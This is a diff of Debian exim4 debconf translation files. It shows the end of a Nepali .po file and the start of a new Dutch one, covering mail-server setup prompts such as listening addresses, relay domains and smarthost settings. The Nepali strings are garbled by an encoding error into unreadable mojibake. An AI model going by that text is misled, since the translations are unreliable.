+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"याद गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤°à¤•à¥‹ पतà¥à¤° यताउती पठाइनॠभनà¥à¤¦à¤¾, यसले निरà¥à¤¦à¥‡à¤¶à¤¿à¤¤ गरेको पà¥à¤°à¤£à¤¾à¤²à¥€à¤®à¤¾ "
+"पढिनà¥à¤ªà¤°à¥à¤›, तà¥à¤¯à¤¸à¥ˆà¤²à¥‡ यहाठसूचीकृत भà¤à¤•à¥‹ पà¥à¤°à¤¯à¥‹à¤—करà¥à¤¤à¤¾ मधà¥à¤¯à¥‡ (कमà¥à¤¤à¤¿à¤®à¤¾ à¤à¤•à¤œà¤¨à¤¾) ले यो मेशिनमा "
+"तिनीहरूको पतà¥à¤° पà¥à¤¨: निरà¥à¤¦à¥‡à¤¶à¤¨ गरà¥à¤¨à¥‡ छैन । सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£à¤²à¤¾à¤ˆ जोर गरà¥à¤¨ 'वासà¥à¤¤à¤µà¤¿à¤•' उपसरà¥à¤— "
+"पà¥à¤°à¤¯à¥‹à¤— गरà¥à¤¨ सकिनà¥à¤› ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "बहà¥à¤à¤µà¤¿à¤§ पà¥à¤°à¤¯à¥‹à¤—करà¥à¤¤à¤¾ नामहरू खाली ठाउà¤à¤¦à¥à¤µà¤¾à¤°à¤¾ विभाजित हà¥à¤¨ आवशà¥à¤¯à¤• छ ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "SMTP जडानहरà¥à¤•à¥‹ आगमनको लागि सà¥à¤¨à¥à¤¨ IP-ठेगानाहरू:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"कृपया आई पी ठेगानाको अलà¥à¤ªà¤¬à¤¿à¤°à¤¾à¤®-विभाजित सूची पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿ गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ । à¤à¤•à¥à¤œà¤¿à¤® SMTP शà¥à¤°à¥‹à¤¤à¤¾ "
+"डेयमनले यहाठसूचिकृत सबै आई पी ठेगानाहरूमा सà¥à¤¨à¥à¤¨à¥‡à¤› ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"à¤à¤‰à¤Ÿà¤¾ खाली मानले सबै उपलबà¥à¤§ सञà¥à¤œà¤¾à¤² अनà¥à¤¤à¤°à¤®à¥‹à¤¹à¤¡à¤¾à¤¹à¤°à¥‚मा जडानहरूका लागि à¤à¤•à¥à¤œà¤¿à¤® सà¥à¤¨à¥à¤¨ सकà¥à¤¨à¥‡ "
+"बनाउà¤à¤¨ सकà¥à¤› ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"यदि यो पà¥à¤°à¤£à¤¾à¤²à¥€à¤²à¥‡ सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ सेवाहरू जसà¥à¤¤à¥ˆ फेचमेल वा सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ होसà¥à¤Ÿà¤®à¤¾ बोलिरहेको तपाईà¤à¤•à¥‹ (MUA) "
+"इमेल कारà¥à¤¯à¤•à¥à¤°à¤®à¤¬à¤¾à¤Ÿ (र अनà¥à¤¯ होसà¥à¤Ÿà¤¹à¤°à¥‚बाट होइन) मातà¥à¤° पà¥à¤°à¤¤à¥à¤¯à¤•à¥à¤· रूपमा इमेल पà¥à¤°à¤¾à¤ªà¥à¤¤ गरà¥à¤¦à¥ˆà¤¨ भने, "
+"सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ à¤à¤•à¥à¤œà¤¿à¤®à¤®à¤¾ बाहà¥à¤¯ जडानहरू निषेध गरà¥à¤¨ आवशà¥à¤¯à¤• छ । यसलाई यहाठ१२७.०.०.१ पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿ गरेर "
+"पूरा गरà¥à¤¨ सकिनà¥à¤› । यसले सारà¥à¤µà¤œà¤¨à¤¿à¤• सञà¥à¤œà¤¾à¤² इनà¥à¤Ÿà¤°à¤«à¥‡à¤¸à¤¹à¤°à¥‚मा सà¥à¤¨à¥à¤¨à¤²à¤¾à¤ˆ अकà¥à¤·à¤® गरिदिनà¥à¤› ।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "डी à¤à¤¨ à¤à¤¸-कà¥à¤µà¥‡à¤°à¥€à¤¹à¤°à¥‚को मिनिमल (डायल-अन-डिमानà¥à¤¡) को सङà¥à¤–à¥à¤¯à¤¾ राखà¥à¤¨à¥à¤¹à¥à¤¨à¥à¤› ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"सञà¥à¤šà¤¾à¤²à¤¨à¤•à¥‹ सामानà¥à¤¯ मोडमा à¤à¤•à¥à¤œà¤¿à¤®à¤²à¥‡ सà¥à¤°à¥à¤†à¤¤à¤®à¤¾, र सनà¥à¤¦à¥‡à¤¶à¤¹à¤°à¥‚ पà¥à¤°à¤¾à¤ªà¥à¤¤ गरà¥à¤¦à¤¾ र हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ गरà¥à¤¦à¤¾à¤®à¤¾ "
+"डी à¤à¤¨ à¤à¤¸ लाई देखाउà¤à¤› । यो लगइन उदà¥à¤¦à¥‡à¤¶à¥à¤¯à¤¹à¤°à¥‚को लागि हो र कनà¥à¤«à¤¿à¤—रेसनमा हारà¥à¤¡-कोडेड "
+"मानहरूको सङà¥à¤–à¥à¤¯à¤¾ तल राखà¥à¤¨ अनà¥à¤®à¤¤à¤¿ दिनà¥à¤› ।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"यदि यो पà¥à¤°à¤£à¤¾à¤²à¥€à¤¸à¤à¤— सबै समयमा डि à¤à¤¨ à¤à¤¸ पूरा सेवा पà¥à¤¨: समाधानकरà¥à¤¤à¤¾ उपलबà¥à¤§ छैन भने (जसà¥à¤¤à¥ˆ "
+"यदि यसको इनà¥à¤Ÿà¤°à¤¨à¥‡à¤Ÿ पहà¥à¤à¤š डायल-अन-डिमानà¥à¤¡ पà¥à¤°à¤¯à¥‹à¤— गरिरहेको डायल-अप लाइन हो भने) यो संग "
+"नचाहेको परिणाम हà¥à¤¨à¥à¤ªà¤°à¥à¤› । उदाहरणको लागि, à¤à¤•à¥à¤œà¤¿à¤® सà¥à¤°à¥ गरेर वा (कà¥à¤¨à¥ˆ सनà¥à¤¦à¥‡à¤¶à¤¹à¤°à¥‚ पनि पà¥à¤°à¤¤à¤¿à¤•à¥à¤·à¤¾ "
+"नगरिरहेको) लाम सञà¥à¤šà¤¾à¤²à¤¨ गरेर महंगो dial-up-event टà¥à¤°à¤¿à¤—र गरà¥à¤¨ सकिदैन ।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"यदि यो पà¥à¤°à¤£à¤¾à¤²à¥€à¤²à¥‡ डायल-अन-डिमानà¥à¤¡ पà¥à¤°à¤¯à¥‹à¤— गरिरहेको छ भने यो विकलà¥à¤ª चयन हà¥à¤¨à¥‡à¤› । यदि यो "
+"सà¤à¤— इनà¥à¤Ÿà¤°à¤¨à¥‡à¤Ÿ पहà¥à¤à¤š सधै खà¥à¤²à¥à¤²à¤¾ हà¥à¤¨à¥à¤› भने, यो विकलà¥à¤ª अकà¥à¤·à¤® गरिनेछ ।"
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "पतà¥à¤° सरà¥à¤­à¤° कनà¥à¤«à¤¿à¤—रेसन"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "सानो फाइलहरà¥à¤®à¤¾ कनà¥à¤«à¤¿à¤—रेसन विभाजन गरà¥à¤¨à¥à¤¹à¥à¤¨à¥à¤› ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"डेवियन à¤à¤•à¥à¤œà¤¿à¤®à¥ª पà¥à¤¯à¤¾à¤•à¥‡à¤œà¤¹à¤°à¥‚ले ले या त 'अविभाजित कनà¥à¤«à¤¿à¤—रेसन', वा à¤à¤•à¤² monolithic फाइल (/"
+"etc/exim4/exim4.conf.template) वा 'विभाजित कनà¥à¤«à¤¿à¤—रेसन' पà¥à¤°à¤¯à¥‹à¤— गरà¥à¤¨ सकà¥à¤›, जहाठ"
+"वासà¥à¤¤à¤µà¤¿à¤• à¤à¤•à¥à¤œà¤¿à¤® कनà¥à¤«à¤¿à¤—रेसन फाइलहरू /etc/exim4/conf.d मा ५० वटा सानो फाइलहरू मिलेर "
+"निरà¥à¤®à¤¾à¤£ भà¤à¤•à¥‹ हà¥à¤¨à¥à¤› ।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"अविभाजित कनà¥à¤«à¤¿à¤—रेसन ठूलो परिमारà¥à¤œà¤¨à¤¹à¤°à¥à¤•à¥‹ लागि अति उतà¥à¤¤à¤® छ र सामनà¥à¤¯ रूपमा धेरै सà¥à¤¥à¤¿à¤° पनि "
+"छ, जबकि विभाजित कनà¥à¤«à¤¿à¤—रेसनले सानो परिमारà¥à¤œà¤¨à¤¹à¤°à¥ बनाउन सà¥à¤µà¤¿à¤§à¤¾à¤œà¤¨à¤• बाटोको पà¥à¤°à¤¸à¥à¤¤à¤¾à¤µ गरà¥à¤¦à¤› "
+"तर धेरै मà¥à¤²à¤¾à¤¯à¤® हà¥à¤¨à¥‡ भà¤à¤•à¥‹à¤²à¥‡ ठूलो रà¥à¤ªà¤®à¤¾ परिमारà¥à¤œà¤¨ हà¥à¤à¤¦à¤¾ विचà¥à¤›à¥‡à¤¦à¤¨ हà¥à¤¨ सकà¥à¤› ।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"विभाजित र अविभाजित कनà¥à¤«à¤¿à¤—रेसनको बारे धेरै विसà¥à¤¤à¥ƒà¤¤ छलफल /usr/share/doc/exim4-base/"
+"README.Debian.gz मा फेला पारà¥à¤¨ सकिनà¥à¤› । "
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "बाहिर जाने पतà¥à¤°à¤®à¤¾ सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ पतà¥à¤° नाम लà¥à¤•à¤¾à¤‰à¤¨à¥à¤¹à¥à¤¨à¥à¤› ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"निरà¥à¤—ामन पतà¥à¤°à¤•à¥‹ हेडरहरू विभिनà¥à¤¨ पà¥à¤°à¤£à¤¾à¤²à¥€à¤®à¤¾ सिरà¥à¤œà¤¨à¤¾ गरेर देखाउन पà¥à¤¨: लेखन गरà¥à¤¨ सकिनà¥à¤› । यदि "
+"यो विकलà¥à¤ª रोजियो भने, '${mailname}', 'localhost' र '${dc_other_hostnames}' "
+"बाटमा, लाई-जवाफ, पà¥à¤°à¥‡à¤·à¤• र फरà¥à¤•à¤¨à¥‡-बाटो पà¥à¤¨: लेखन गरिनà¥à¤› ।"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "/var/mail मा पतà¥à¤°à¤®à¤žà¥à¤œà¥‚षा ढाà¤à¤šà¤¾ "
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "गृह डाइरेकà¥à¤Ÿà¤°à¥€à¤®à¤¾ पतà¥à¤° डाइरेकà¥à¤Ÿà¤°à¥€ ढाà¤à¤šà¤¾"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ पतà¥à¤°à¤•à¥‹ लागि हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ विधि:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"à¤à¤•à¥à¤œà¤¿à¤® विभिनà¥à¤¨ ढाà¤à¤šà¤¾à¤¹à¤°à¥‚मा सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ रूपमा हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ गरिà¤à¤•à¥‹ इमेल भणà¥à¤¡à¤¾à¤°à¤£ गरà¥à¤¨ सकà¥à¤·à¤® भयो ।"
+"पà¥à¤°à¤¾à¤¯à¤œà¤¸à¥‹ धेरै पà¥à¤°à¤¯à¥‹à¤— गरिà¤à¤•à¥‹ ढाà¤à¤šà¤¾à¤¹à¤°à¥‚ पतà¥à¤°à¤®à¤žà¥à¤œà¥‚षा र पतà¥à¤° डाइरेकà¥à¤Ÿà¤°à¥€ हो । पतà¥à¤°à¤®à¤žà¥à¤œà¥‚षाले /var/"
+"mail/ मा भणà¥à¤¡à¤¾à¤°à¤£ गरिà¤à¤•à¥‹ पूरै पतà¥à¤° फोलà¥à¤¡à¤°à¤•à¥‹ लागि à¤à¤•à¤² फाइल पà¥à¤°à¤¯à¥‹à¤— गरà¥à¤¦à¤› । पतà¥à¤° "
+"डाइरेकटरी ढाà¤à¤šà¤¾à¤¦à¥à¤µà¤¾à¤°à¤¾ हरेक à¤à¤•à¤² सनà¥à¤¦à¥‡à¤¶ ~/Maildir/ मा भिनà¥à¤¨à¥ˆ फाइलमा भणà¥à¤¡à¤¾à¤°à¤£ गरिà¤à¤•à¥‹ हà¥à¤¨à¥à¤› ।"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"कृपया याद गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ कि डेवियनमा धेरै पतà¥à¤° उपकरणहरूले तिनीहरूको पूरà¥à¤µà¤¨à¤¿à¤°à¥à¤§à¤¾à¤°à¤£à¤®à¤¾ पतà¥à¤°à¤®à¤žà¥à¤œà¥‚षा हà¥à¤¨ "
+"सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ विधिको अपेकà¥à¤·à¤¾ गरेको हà¥à¤¨à¥à¤› ।"
diff --git a/debian/po/nl.po b/debian/po/nl.po
new file mode 100644
index 0000000..8f5b3e7
--- /dev/null
+++ b/debian/po/nl.po
@@ -0,0 +1,687 @@
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+#
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+# Developers do not need to manually edit POT or PO files.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-10-25 13:54+0100\n"
+"Last-Translator: Bart Cornelis <cobaco@skolelinux.no>\n"
+"Language-Team: debian-l10n-dutch <debian-l10n-dutch@lists.debian.org>\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Dutch\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Niet afgeleverde berichten uit de spoolmap verwijderen?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Er zijn nog niet-afgeleverde berichten in de exim spoolmap (/var/spool/exim4/"
+"input). Verwijderen van Exim zal tot gevolg hebben dat deze onafgeleverd "
+"blijven totdat Exim opnieuw geïnstalleerd is."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Tenzij u voor deze optie kiest wordt de spoolmap behouden. Hierdoor zullen "
+"berichten in de wachtrij later, na herinstallatie van Exim, alsnog "
+"afgeleverd worden."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Niet dit pakket maar exim4-config herconfigureren"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"De configuratie van Exim4 is afgesplitst naar een het pakket exim4-config . "
+"Als u Exim4 wilt herconfigureren dient u dus 'dpkg-reconfigure exim4-config' "
+"uit te voeren."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "internet-site; e-mail wordt direct via SMTP verzonden en ontvangen"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "e-mail verzenden via smarthost; e-mail ontvangst via SMTP of fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "e-mail verzenden via smarthost; geen lokale e-mail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "alleen lokale e-mail; als u niet op een netwerk bent aangesloten"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "nu niet configureren"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Algemeen type e-mailconfiguratie:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Welke configuratietype voor de e-mailserver komt het best overeen met uw "
+"behoeften?"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Systemen met dynamische IP-adressen (inclusief inbelsystemen), dienen "
+"normaal ingesteld te worden om uitgaande e-mail naar een andere computer "
+"(een zogenaamde smarthost) te sturen; dit omdat veel ontvangende systemen, "
+"om anti-spam redenen, geen inkomende e-mail van dynamische IP-adressen "
+"accepteren."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Een systeem met een dynamisch IP-adres kan z'n eigen e-mail ontvangen, maar "
+"ook kan de lokale aflevering (met uitzondering van e-mail voor root en "
+"postmaster) worden uitgeschakeld."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Weet u zeker dat u het e-mailsysteem niet wilt configureren?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Zolang uw e-mailsysteem niet ingesteld is, is het in een niet-werkende staat "
+"en kan het niet gebruikt worden. Op een later tijdstip configureren kan of "
+"handmatig, of via het commando 'dpkg-reconfigure exim4-config' uit te voeren."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "E-mailnaam voor het systeem:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"De 'e-mailnaam' is de domeinnaam die gebruikt wordt om e-mailadressen zonder "
+"een domeinnaam te kwalificeren."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Deze naam zal ook door andere programma's gebruikt worden, en dient dus een "
+"volledige gekwalificeerde domeinnaam (FQDN) te zijn."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Als bijvoorbeeld een e-mailadres op de lokale computer foo@example.org is, "
+"dan is de correcte waarde voor deze optie example.org ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Als herschrijven geactiveerd is zal deze naam niet verschijnen in de 'From'-"
+"regels van uitgaande berichten."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Andere bestemmingen waarvoor e-mail wordt geaccepteerd wordt:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Gelieve een door puntkomma's gescheiden lijst in te geven van domeinen "
+"waarvoor deze machine zichzelf als eindbestemming dient te beschouwen. Deze "
+"domeinen zijn bekend als 'lokale domeinen'. De lokale domeinnaam (${fqdn}) "
+"en 'localhost' worden altijd toegevoegd en deze hoeft u hier dus niet te "
+"vermelden. "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Standaard worden alle lokale domeinen op dezelfde manier afgehandeld (Als "
+"bijvoorbeeld zowel a.voorbeeld als b.voorbeeld lokale domeinen zijn, dan "
+"zullen acc@a.voorbeeld en acc@b.voorbeeld op dezelfde eindbestemming "
+"afgeleverd worden. Als u verschillende domeinen verschillend wilt behandelen "
+"zult u het configuratiebestand later handmatig moeten aanpassen."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domeinen waarvoor e-mail door te sturen:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Gelieve een met puntkomma's gescheiden lijst van ontvangstdomeinen in te "
+"geven waarvoor dit systeem e-mail zal doorsturen (bv. als een 'mail-gateway' "
+"of 'fallback-MX'). Dit betekent dat dit systeem e-mail voor deze domeinen "
+"aanvaart van gelijk waar op internet en deze vervolgens bezorgt volgens de "
+"lokale afleverregels. "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Vul hier geen lokale domeinen in. U kunt hier jokers gebruiken."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Machines waarvoor e-mail door te sturen:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Gelieve een door puntkomma's gescheiden lijst van bereiken van IP-adressen "
+"in te geven waarvoor dit systeem onvoorwaardelijk e-mail zal doorsturen, en "
+"dus als smarthost kan fungeren."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"U dient hier het standaard 'adres/netgrootte'-formaat te gebruiken (bv. "
+"194.222.242.0/24 of 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Als dit systeem door geen enkel ander systeem als smarthost gebruikt mag "
+"worden, dient u dit leeg te laten."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Zichtbare domeinnaam voor e-mail van lokale gebruikers:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"De optie om de lokale e-mailnaam te verbergen in de uitgaande e-mail is "
+"actief. Het is dus nodig om de domeinnaam op te geven die dit systeem moet "
+"gebruiken voor het domeinnaamgedeelte van het afzendadres van lokale "
+"gebruikers."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "IP-adres of computernaam van de uitgaande smarthost:"
+
+#. Type: string
+#. Description
